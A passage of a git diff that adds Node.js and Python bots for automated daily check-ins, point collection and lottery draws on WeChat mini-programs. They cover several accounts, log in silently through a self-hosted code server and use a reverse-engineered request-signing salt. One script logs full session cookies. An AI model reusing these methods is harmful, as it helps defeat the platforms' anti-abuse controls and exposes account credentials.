""; + } + if (typeof obj === "object") { + if (obj.redirectInfo && obj.redirectInfo.info) { + const id = parseSignIdFromInfo(obj.redirectInfo.info); if (id) return id; + } + for (const k of Object.keys(obj)) { const id = findSignIdInObject(obj[k]); if (id) return id; } + } + return ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.deviceCode = ""; + this.signId = DEFAULT_SIGN_ID; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(extra = {}) { + return { + host: "nmp.pureh2b.com", + connection: "keep-alive", + tag: "v3.0", + token: this.token || "", + code: this.deviceCode, + "content-type": "application/json;charset=UTF-8", + accept: "*/*", + "user-agent": UA, + referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + ...extra, + }; + } + async request(method, apiPath, { params, data } = {}) { + const res = await axios.request({ + method, url: `${API_HOST}${apiPath}`, params, data, + headers: this.headers(), timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200 && (!res.data || typeof res.data !== "object")) { + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request("GET", EP_LOGIN, { params: { code } }); + if (res && res.token && res.member) { + this.token = String(res.token); + const pts = res.member.availablePoint; + this.log(`登录成功✅ 积分:${pts !== undefined ? pts : "?"}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, deviceCode: this.deviceCode, updatedAt: new Date().toISOString() }; + writeCache(cache); + return; + } + const msg = (res && (res.message || res.msg)) || short(res); + // bind:"no" / member:null(有 openid 但无会员)= 该微信号未注册/未绑定全棉时代会员 + if ((res && (res.bind === "no" || res.member === null || res.member === undefined) && (res.openid || res.token)) || + /未注册|注册|未绑定|绑定|会员|no\b/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${res && res.bind === "no" ? "bind=no(未绑定会员)" : msg}`); + } + throw new Error(`登录未返回 token: ${msg}`); + } + async fetchSignId() { + try { + const cat = await this.request("POST", EP_CATEGORY, { + data: { pageNum: 1, pageSize: 10, venueType: "MAIN", categoryId: "010002" }, + }); + if (cat && cat.code == 200 && cat.data) { + let signId = findSignIdInObject(cat.data.componentList); + if (signId) { this.log(`自动获取签到ID✅ ${signId}(首页组件)`); this.signId = signId; return; } + let navId = ""; + try { navId = (JSON.parse(cat.data.pageConfig || "{}") || {}).topNavigationId || ""; } catch (e) {} + if (navId) { + const nav = await this.request("GET", EP_NAV, { params: { navigationId: navId } }); + if (nav && nav.code == 200) { + signId = findSignIdInObject(nav.data); + if (signId) { this.log(`自动获取签到ID✅ ${signId}(顶部导航)`); this.signId = signId; return; } + } + } + } + } catch (e) { + this.log(`自动获取签到ID异常:${e.message || e}`); + } + this.log(`自动获取签到ID失败,使用默认:${this.signId}`); + } + async signStatus() { + // 返回 true = 今日已签 + try { + const res = await this.request("GET", EP_SIGN_INDEX, { params: { signId: this.signId } }); + if (res && res.signMember) { + const days = res.signMember.signDays || 0; + const list = res.signMember.signDateList || []; + this.log(`签到详情✅ 累计${days}天`); + return list.includes(chinaToday()); + } + this.log(`签到详情❌:${short(res)}`); + } catch (e) { + this.log(`签到详情异常:${e.message || e}`); + } + return false; + } + async doSign() { + const res = await this.request("POST", EP_SIGN_IN, { data: { signType: 1, signInId: this.signId } }); + if (Array.isArray(res)) { + if (res.length > 0) { + const point = res[0].rewardPoint || 0; + return this.log(`✅ 签到成功,积分 +${point}`); + } + return this.log("✅ 今日已签到"); + } + const msg = (res && (res.message || res.msg)) || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败:${msg}`); + } + ensureDeviceCode() { + const cached = readCache()[this.account.openid] || {}; + this.deviceCode = cached.deviceCode || uuidV4(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + this.ensureDeviceCode(); + await this.login(); + await $.wait(1000); + await this.fetchSignId(); + await $.wait(1000); + if (await this.signStatus()) { + this.log("✅ 今日已签到,跳过"); + return; + } + await $.wait(1000); + await this.doSign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在全棉时代注册/绑定会员,先在小程序里登录一次再跑(${String(e.message).slice(11)})`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/qqhyjlb.js b/wxapp/qqhyjlb.js new file mode 100644 index 00000000..e30a9fb9 --- /dev/null +++ b/wxapp/qqhyjlb.js @@ -0,0 +1,214 @@ +/* +------------------------------------------ +@Description: 洽洽会员俱乐部 - 微信小程序静默登录 + 每日签到 +cron: 39 8 * * * +------------------------------------------ +变量名:qqhyjlb +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxc72491b6cd007333,两段登录): +(迁移自 YYB-GO 系脚本 + 解包坐实:mobile 的 userId 就是 upms 的 loginId,非旧版硬编码 hash) + +① upms 登录(vip.qiaqiafood.com)POST /upms/wechat/login/code form{code,tenantId:1,appId,componentAppId} + -> status=="0",data.data.loginId(=下一步 userId)+ token +② mobile 登录(qq-tasting-hall.qiaqiafood.com/mobile)POST /wechat/login form{code:<新code>,userId:loginId} 头 from_env:app + -> status=="0",Set-Cookie SESSION + data.customer.id;「用户状态不可用」= 该号未在洽洽 mobile 侧激活/注册 +业务:mobilePost 带 Cookie SESSION + Authorization token + body.userId=loginId +签到 POST /promotion/sign/sign(先 /promotion/sign/list 判当天是否已签,signTime 前10位==今天) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("洽洽会员俱乐部"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "qqhyjlb"; +const MINI_APP_ID = "wxc72491b6cd007333"; +const TENANT_ID = "1"; +const VIP_BASE = "https://vip.qiaqiafood.com"; +const MOBILE_BASE = "https://qq-tasting-hall.qiaqiafood.com/mobile"; +const TOKEN_CACHE_FILE = path.join(__dirname, "qqhyjlb_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function formBody(obj) { + return Object.entries(obj) + .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} +function today() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return `${d.getUTCFullYear()}-${String(d.getUTCMonth() + 1).padStart(2, "0")}-${String(d.getUTCDate()).padStart(2, "0")}`; +} +function getSessionId(headers = {}) { + const cookies = headers["set-cookie"] || headers["Set-Cookie"]; + const list = Array.isArray(cookies) ? cookies : cookies ? [cookies] : []; + for (const c of list) { + const m = /SESSION=([^;]+)/.exec(c); + if (m) return m[1]; + } + return ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.session = { token: "", sessionId: "", userId: "" }; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + commonHeaders(extra = {}) { + return { + "content-type": "application/x-www-form-urlencoded; charset=UTF-8", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/516/page-frame.html`, + ...extra, + }; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async loginUpms() { + const code = await this.getCode(); + const res = await axios.post(`${VIP_BASE}/upms/wechat/login/code`, + formBody({ code, tenantId: TENANT_ID, appId: MINI_APP_ID, componentAppId: MINI_APP_ID }), + { headers: this.commonHeaders({ Authorization: this.session.token || "" }), timeout: 20000, validateStatus: () => true }); + const d = res.data || {}; + if (res.status !== 200 || String(d.status) !== "0") throw new Error(`upms登录失败: ${d.msg || `HTTP ${res.status}`}`); + const payload = (d.data && d.data.data) || d.data || {}; + this.session.token = payload.token || this.session.token || ""; + this.session.userId = String(payload.loginId || (payload.account || {}).loginId || ""); + if (!this.session.userId) throw new Error(`upms未返回 loginId: ${short(d)}`); + } + async loginMobile() { + const code = await this.getCode(); + const res = await axios.post(`${MOBILE_BASE}/wechat/login`, + formBody({ code, userId: this.session.userId }), + { headers: this.commonHeaders({ from_env: "app" }), timeout: 20000, validateStatus: () => true }); + const d = res.data || {}; + if (String(d.status) !== "0") { + // 「用户状态不可用」= 该号未在洽洽 mobile 侧激活/注册 + this.unregistered = /用户状态不可用|不可用|未注册|未激活/.test(String(d.msg || "")); + throw new Error(`NO_MOBILE:${d.msg || short(d)}`); + } + const sid = getSessionId(res.headers); + if (sid) this.session.sessionId = sid; + const cust = (d.data || {}).customer || {}; + if (!this.session.sessionId) throw new Error(`mobile登录未拿到 SESSION: ${short(d)}`); + this.log(`登录成功${cust.nickName ? `(${cust.nickName})` : ""}`); + } + async login() { + await this.loginUpms(); + await this.loginMobile(); + const cache = readCache(); + cache[this.account.openid] = { ...this.session, updatedAt: new Date().toISOString() }; + writeCache(cache); + } + async mobilePost(apiPath, data = {}) { + if (!this.session.sessionId) throw new Error("缺少SESSION"); + const res = await axios.post(`${MOBILE_BASE}${apiPath}`, + formBody({ ...(data || {}), userId: this.session.userId }), + { headers: this.commonHeaders({ Cookie: `SESSION=${this.session.sessionId}`, Authorization: this.session.token || "", from_env: "app" }), timeout: 20000, validateStatus: () => true }); + const sid = getSessionId(res.headers); + if (sid) this.session.sessionId = sid; + return res.data; + } + async sign() { + const list = (await this.mobilePost("/promotion/sign/list"))?.data || []; + const signedToday = Array.isArray(list) && list.some((it) => String(it?.signTime || "").slice(0, 10) === today()); + if (signedToday) { + const last = list[list.length - 1] || {}; + return this.log(`✅ 今日已签到,连续 ${last.signContinuousDay || 0} 天`); + } + const res = await this.mobilePost("/promotion/sign/sign"); + if (String(res?.status) === "0") { + const point = (res.data || {}).point; + return this.log(`✅ 签到成功${point ? `,积分+${point}` : ""}`); + } + const msg = res?.msg || short(res); + if (/已签到|每天只能签到一次|重复|今日已/.test(msg)) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败: ${msg}`); + } + async checkSession() { + try { + const r = await this.mobilePost("/promotion/sign/list"); + return String(r?.status) === "0" || Array.isArray(r?.data); + } catch (e) { + return false; + } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.session.sessionId && cached.sessionId) { + this.session = { token: cached.token || "", sessionId: cached.sessionId, userId: cached.userId || "" }; + if (await this.checkSession()) { this.log("使用缓存登录态"); return; } + this.session = { token: "", sessionId: "", userId: "" }; + } + if (!this.session.sessionId) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_MOBILE")) { + this.log(`⚠️ 该微信号还没在洽洽会员(mobile侧)激活/注册(${e.message.slice(10)}),先在小程序里完成手机号登录/注册一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/qqpcmgr.js b/wxapp/qqpcmgr.js new file mode 100644 index 00000000..7025ab53 --- /dev/null +++ b/wxapp/qqpcmgr.js @@ -0,0 +1,319 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 腾讯电脑管家 wx code 登录并创建 sdi auth +cron: 10 9 * * * +------------------------------------------ +变量名:qqpcmgr +变量值:wx_server 已保存账号 openid,多账号用 & 或换行 + +必需变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth wx_server 鉴权值 + +可选变量: +qqpcmgr_authCode 直接使用指定 authCode,设置后不走 wx_server +qqpcmgr_guid 默认 fff4328476c4ffc836d21e82918faa19 +qqpcmgr_sdiaid 默认 2025121115391911962 +qqpcmgr_version 默认 18.2.30604.301 +qqpcmgr_computer 默认 smallfawn +qqpcmgr_lid 默认 Lottery2 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const axios = require("axios"); + +const $ = new Env("腾讯电脑管家登录"); + +const CK_NAME = "qqpcmgr"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const QRCONNECT_URL = + process.env.qqpcmgr_qrconnect_url || + "https://open.weixin.qq.com/connect/qrconnect?appid=wx5cd60c5d4817a188&scope=snsapi_login&redirect_uri=https%3A%2F%2Fsecurity.guanjia.qq.com%2Flogin&state=233&login_type=jssdk&self_redirect=true"; +const CLIENT_GUID = process.env.qqpcmgr_guid || "fff4328476c4ffc836d21e82918faa19"; +const SDIAID = process.env.qqpcmgr_sdiaid || "2025121115391911962"; +const LOTTERY_ID = process.env.qqpcmgr_lid || "Lottery2"; +const VERSION = process.env.qqpcmgr_version || "18.2.30604.301"; +const COMPUTER_NAME = process.env.qqpcmgr_computer || "smallfawn"; +const USER_AGENT = + process.env.qqpcmgr_ua || + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/143.0.13.0 Tencent QQPCMgr/18.2.30604.301"; + +function splitAccounts(raw = "") { + return String(raw) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function pick(source = {}, keys = []) { + for (const key of keys) { + const value = source?.[key]; + if (value !== undefined && value !== null && value !== "") return value; + } + return ""; +} + +function findLoginPayload(source) { + if (!source || typeof source !== "object") return null; + const loginKey = pick(source, ["loginKey", "LoginKey", "loginkey", "login_key"]); + const openid = + pick(source, ["openid", "openId", "OpenId", "OpenID"]) || + pick(source.thirdPartyAccInfo, ["bindAccount", "openid", "openId", "OpenId", "OpenID"]); + if (loginKey && openid) return source; + + for (const value of Object.values(source)) { + if (value && typeof value === "object") { + const found = findLoginPayload(value); + if (found) return found; + } + } + return null; +} + +function cookieValue(value) { + return String(value ?? "").replace(/[;\r\n]/g, ""); +} + +function buildCookie(profile) { + const commonid = profile.commonid || profile.openid; + const encodedNickname = encodeURIComponent(profile.nickname || ""); + const pairs = { + _gj_acc_type: 2, + _gj_commonid: commonid, + _gj_version: VERSION, + _gj_computername: COMPUTER_NAME, + _gj_client_guid: profile.guid, + _gj_server_guid: profile.serverGuid || "", + _gj_vip: profile.vip || 0, + _gj_nickname: profile.nickname || "", + _gj_accountid: profile.account, + _gj_loginkey: profile.loginKey, + _gj_openid: profile.openid, + _gj_sex: profile.sex || 0, + _gj_headimgurl: profile.headimgurl || "", + _gj_expired: 0, + _gj_support: "[0,1,2,3,4,5,6,8,10,11,12,13,14,15,18]", + _gj_encoded_nickname: encodedNickname, + _gj_level: profile.level || 0, + }; + return Object.entries(pairs) + .map(([key, value]) => `${key}=${cookieValue(value)}`) + .join("; "); +} + +async function getAuthCode(account) { + if (process.env.qqpcmgr_authCode) return process.env.qqpcmgr_authCode; + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法通过 wx_server 授权二维码"); + if (!account) throw new Error("未配置 qqpcmgr openid,无法调用 /wx/qrcodeauth"); + const uuid = await getQrUuid(); + $.log(`获取 QRConnect UUID 成功: ${uuid}`); + const code = await qrcodeAuth(account, uuid); + return code; +} + +async function getQrUuid() { + const { data, status } = await axios.request({ + method: "GET", + url: QRCONNECT_URL, + headers: { + "User-Agent": USER_AGENT, + Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "zh-CN,zh;q=0.9", + }, + timeout: 20000, + validateStatus: () => true, + }); + if (status !== 200) throw new Error(`获取 QRConnect 页面失败 HTTP ${status}`); + const html = String(data || ""); + const match = html.match(/\/connect\/qrcode\/([^"'&<>]+)/) || html.match(/uuid=([^"'&<>]+)/); + if (!match?.[1]) throw new Error("QRConnect 页面未解析到 uuid"); + return match[1]; +} + +async function qrcodeAuth(openid, uuid) { + const { data, status } = await axios.request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/qrcodeauth`, + headers: { + auth: WX_AUTH, + "Content-Type": "application/json", + }, + data: { openid, uuid }, + timeout: 30000, + validateStatus: () => true, + }); + if (status !== 200) throw new Error(`/wx/qrcodeauth HTTP ${status}: ${JSON.stringify(data)}`); + const code = + data?.code || + data?.wxCode || + data?.data?.code || + data?.data?.wxCode || + data?.data?.data?.code || + data?.data?.data?.wxCode; + if (!code) throw new Error(`/wx/qrcodeauth 未返回 code: ${JSON.stringify(data)}`); + return code; +} + +async function loginByCode(authCode, guid) { + const { data } = await axios.request({ + method: "POST", + url: "https://jprx.m.qq.com/data/3078/forward", + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + "Content-Type": "application/json", + "sec-ch-ua": '"Chromium";v="109"', + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Windows"', + Origin: "https://webcdn.m.qq.com", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: "https://webcdn.m.qq.com/", + "Accept-Language": "zh-CN,zh;q=0.9", + }, + data: { + req: { + platType: 3, + loginAccType: 32, + authCode, + clientGuid: guid, + }, + }, + timeout: 20000, + validateStatus: () => true, + }); + const payload = findLoginPayload(data); + if (!payload) throw new Error(`登录响应未找到 loginKey/openid: ${JSON.stringify(data)}`); + return payload; +} + +function normalizeProfile(payload, guid) { + const third = payload.thirdPartyAccInfo || {}; + const account = pick(payload, ["account", "accountId", "Account", "userId", "UserId", "uin"]); + return { + loginKey: pick(payload, ["loginKey", "LoginKey", "loginkey", "login_key"]), + openid: pick(payload, ["openid", "openId", "OpenId", "OpenID"]) || pick(third, ["bindAccount", "openid", "openId", "OpenId", "OpenID"]), + nickname: pick(payload, ["nickname", "nickName", "NickName"]) || pick(third, ["nickname", "nickName", "NickName"]) || "JOY", + account, + userId: pick(payload, ["userId", "UserId"]) || account, + headimgurl: pick(payload, ["headimgurl", "headImgUrl", "HeadImgUrl", "headImg"]) || pick(third, ["headUrl", "headimgurl", "headImgUrl", "HeadImgUrl"]), + guid: pick(payload, ["guid", "clientGuid", "ClientGuid"]) || guid, + imei: pick(payload, ["imei", "Imei"]) || account, + commonid: pick(payload, ["commonid", "commonId", "CommonId"]) || pick(third, ["commonid", "commonId", "CommonId", "unionId"]), + serverGuid: pick(payload, ["serverGuid", "server_guid", "ServerGuid"]), + sex: pick(payload, ["sex", "Sex"]) || 0, + vip: pick(payload, ["vip", "Vip"]) || 0, + level: pick(payload, ["level", "Level"]) || 0, + }; +} + +async function createAuth(profile, cookie) { + const { data, status } = await axios.request({ + method: "POST", + url: "https://sdi.m.qq.com/public/auth/create", + headers: { + "User-Agent": USER_AGENT, + "Content-Type": "application/json", + "sec-ch-ua": '"Chromium";v="109"', + sdiaid: SDIAID, + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Windows"', + Origin: "https://sdi.3g.qq.com", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: "https://sdi.3g.qq.com/", + "Accept-Language": "zh-CN,zh;q=0.9", + Cookie: cookie, + }, + data: { + loginKey: profile.loginKey, + openid: profile.openid, + nickname: profile.nickname, + account: Number(profile.account) || profile.account, + userId: Number(profile.userId) || profile.userId, + headimgurl: profile.headimgurl, + guid: profile.guid, + imei: Number(profile.imei) || profile.imei, + loginType: "wx", + platformId: "pcmgr16", + loginAccType: 2, + }, + timeout: 20000, + validateStatus: () => true, + }); + return { status, data }; +} + +async function doLottery(sessionKey, cookie) { + const { data, status } = await axios.request({ + method: "POST", + url: "https://sdi.m.qq.com/private/lottery/doLottery", + headers: { + "User-Agent": USER_AGENT, + "Content-Type": "application/json", + "sec-ch-ua": '"Chromium";v="109"', + sessionkey: sessionKey, + sdiaid: SDIAID, + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Windows"', + Origin: "https://sdi.3g.qq.com", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: "https://sdi.3g.qq.com/", + "Accept-Language": "zh-CN,zh;q=0.9", + Cookie: cookie, + }, + data: { lid: LOTTERY_ID }, + timeout: 20000, + validateStatus: () => true, + }); + return { status, data }; +} + +async function runAccount(account, index) { + const guid = process.env[`${CK_NAME}_guid_${index}`] || CLIENT_GUID; + $.log(`\n[账号${index}] 开始处理 ${account || "authCode"}`); + const authCode = await getAuthCode(account); + $.log(`[账号${index}] 获取 authCode 成功 ${String(authCode).slice(0, 8)}***`); + + const payload = await loginByCode(authCode, guid); + const profile = normalizeProfile(payload, guid); + if (!profile.loginKey || !profile.openid) throw new Error("登录资料缺少 loginKey/openid"); + + const cookie = buildCookie(profile); + $.log(`[账号${index}] 登录资料: account=${profile.account} openid=${profile.openid} nickname=${profile.nickname}`); + $.log(`[账号${index}] Cookie: ${cookie}`); + + const auth = await createAuth(profile, cookie); + $.log(`[账号${index}] auth/create HTTP ${auth.status}`); + $.log(`[账号${index}] auth/create 返回: ${JSON.stringify(auth.data)}`); + + const sessionKey = auth.data?.data?.userInfo?.sessionKey || auth.data?.data?.sessionKey || auth.data?.sessionKey; + if (!sessionKey) throw new Error(`auth/create 未返回 sessionKey: ${JSON.stringify(auth.data)}`); + + const lottery = await doLottery(sessionKey, cookie); + $.log(`[账号${index}] doLottery(${LOTTERY_ID}) HTTP ${lottery.status}`); + $.log(`[账号${index}] doLottery 返回: ${JSON.stringify(lottery.data)}`); +} + +(async () => { + const accounts = process.env.qqpcmgr_authCode ? [""] : splitAccounts(process.env[CK_NAME] || ""); + if (!accounts.length) throw new Error(`未配置 ${CK_NAME},或设置 qqpcmgr_authCode 直接测试`); + + for (let i = 0; i < accounts.length; i++) { + try { + await runAccount(accounts[i], i + 1); + } catch (e) { + $.log(`[账号${i + 1}] 失败: ${e.message || e}`); + } + } +})() + .catch((e) => $.log(`执行失败: ${e.message || e}`)) + .finally(() => $.done()); diff --git a/wxapp/quanmianshidai.py b/wxapp/quanmianshidai.py index bfd38803..be6685a1 100644 --- a/wxapp/quanmianshidai.py +++ b/wxapp/quanmianshidai.py @@ -1,23 +1,56 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- """ -项目 全棉时代种棉花 -入口 #小程序://全棉时代 -变量 code #token#备注 多账号换行 -变量名 qmzmh - - +项目: 全棉时代 - 每日签到 + 种棉花(自动种树 + 浇水) +入口: 微信小程序「全棉时代」-> 我的·每日签到 / 首页·种棉花 +说明: 通过 wx_server(smallcat) 用 openid 换取 wx.login code 自动登录(nmp), + 完成每日签到(得积分); 若为已注册会员, 再对自己的树执行种棉花浇水。 + 账号尚未种树时会自动种下一棵(选定成长目标奖品), 之后每日自动浇水。 + 每次运行现取 code、现登录, 不再依赖手动粘贴的 code#token(易过期)。 +账号变量名: qmzmh (填写 wx_server 中的 openid, 多账号用换行或 & 分割, 可选 #备注) +需要配置 wx_server_url、wx_auth, 用于获取 wx.login code +可选变量: qmzmh_prize_id 种树时的成长目标奖品 id, 默认 1046(加厚棉柔巾 6片/包*1包); + 可选值来自 GET https://sg01.purcotton.com/api/prize/home +#new Env("全棉时代签到") +#cron 30 8 * * * """ import os -import requests -from datetime import datetime, timezone, timedelta +import sys import json import time +import uuid import random +import hashlib +from datetime import datetime, timezone, timedelta +from pathlib import Path +from urllib.parse import quote +import requests -# 配置参数 -base_url = "https://hxxxy.gov.cn" +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +try: + from notify import send +except Exception: + def send(title, content): + print(f"\n===== {title} =====\n{content}") + +# 配置参数 (均来自小程序反编译源码, 非机密) +MINI_APP_ID = "wxdfcaa44b1aa891a7" +NMP = "https://nmp.pureh2b.com" # config.js SERVER (生产) +SG01 = "https://sg01.purcotton.com" # config.js 种棉花 H5 与其 /api +PRIZE_ID_DEFAULT = "1046" # 种树默认成长目标: 加厚棉柔巾 6片/包*1包 +base_url = "https://hxxxy.gov.cn" # 旧占位常量, 保留兼容 +# smallcat / wx_server 配置 (机密, 从环境变量读取, 绝不硬编码) +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") +TOKEN_CACHE_PATH = Path(__file__).with_name("quanmianshidai_token_cache.json") +session = requests.Session() user_agent = "Mozilla/5.0 (Linux; Android 11; ONEPLUS A6000 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160065 MMWEBSDK/20231201 MMWEBID/2930 MicroMessenger/8.0.45.2521(0x28002D3D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wxdfcaa44b1aa891a7" def get_beijing_date(): @@ -36,9 +69,9 @@ def get_env_variable(var_name): if value is None: print(f'环境变量{var_name}未设置,请检查。') return None - accounts = value.strip().split('\n') + accounts = [x.strip() for x in value.replace('&', '\n').splitlines() if x.strip()] print(f'-----------本次账号运行数量:{len(accounts)}-----------') - print(f'------全棉时代种棉花-----1.2------') + print(f'------全棉时代签到+种棉花-----2.0------') return accounts def create_headers(code, token): @@ -56,21 +89,227 @@ def create_headers(code, token): 'accept-encoding': 'gzip, deflate', 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cookie': 'sajssdk_2015_cross_new_user=1', - 'code': code, - 'token': token, + 'code': code, + 'token': token, } return headers +# sg01 的 H5 只对 3 个接口(task/complete-task、task/complete-manual-task、answer/complete) +# 的请求体做了参数签名(h5/js 里的 formatMd5),不带签名时服务端返回 {"code":400,"msg":"参数格式错误"}。 +# 算法: 追加 timestamp(毫秒) → 丢掉值为 None/"" 的项 → 按 key 排序拼成 query 串 → md5(串+固定盐).upper() +SG01_SIGN_SALT = "z0hQTvC21f8SXlLbL9Hv" + + +def sg01_sign(params): + """把参数体补上 timestamp + sign,返回可直接 json= 提交的新 dict。""" + payload = dict(params) + payload["timestamp"] = int(time.time() * 1000) + kept = {k: v for k, v in payload.items() if v is not None and v != ""} + query = "&".join( + f"{quote(str(k), safe='')}={quote(str(v), safe='')}" for k, v in sorted(kept.items()) + ) + payload["sign"] = hashlib.md5((query + SG01_SIGN_SALT).encode("utf-8")).hexdigest().upper() + return payload + + +# --------------------------------------------------------------------------- +# smallcat + nmp 登录 (每次运行现取 wx.login code, 现登录, 不存长期令牌) +# --------------------------------------------------------------------------- +def mask(value): + if not value: + return "" + value = str(value) + return value[:2] + "***" if len(value) <= 12 else f"{value[:4]}***{value[-4:]}" + + +def gen_guid(): + return str(uuid.uuid4()) + + +def read_token_cache(): + try: + if TOKEN_CACHE_PATH.exists(): + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + pass + return {} + + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text( + json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8") + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + + +def get_wx_code(openid): + if not WX_AUTH: + raise RuntimeError("缺少 wx_auth, 无法从 wx_server 获取 code") + headers = {"Accept": "application/json", "Content-Type": "application/json", + "auth": WX_AUTH} + body = json.dumps({"appid": MINI_APP_ID, "openid": openid}) + last_msg = "" + for attempt in range(4): + if attempt: + # smallcat 偶发 "获取失败"(会话抖动), 刷新会话后间隔重试 + try: + session.post(f"{WX_SERVER_URL}/wx/refresh", 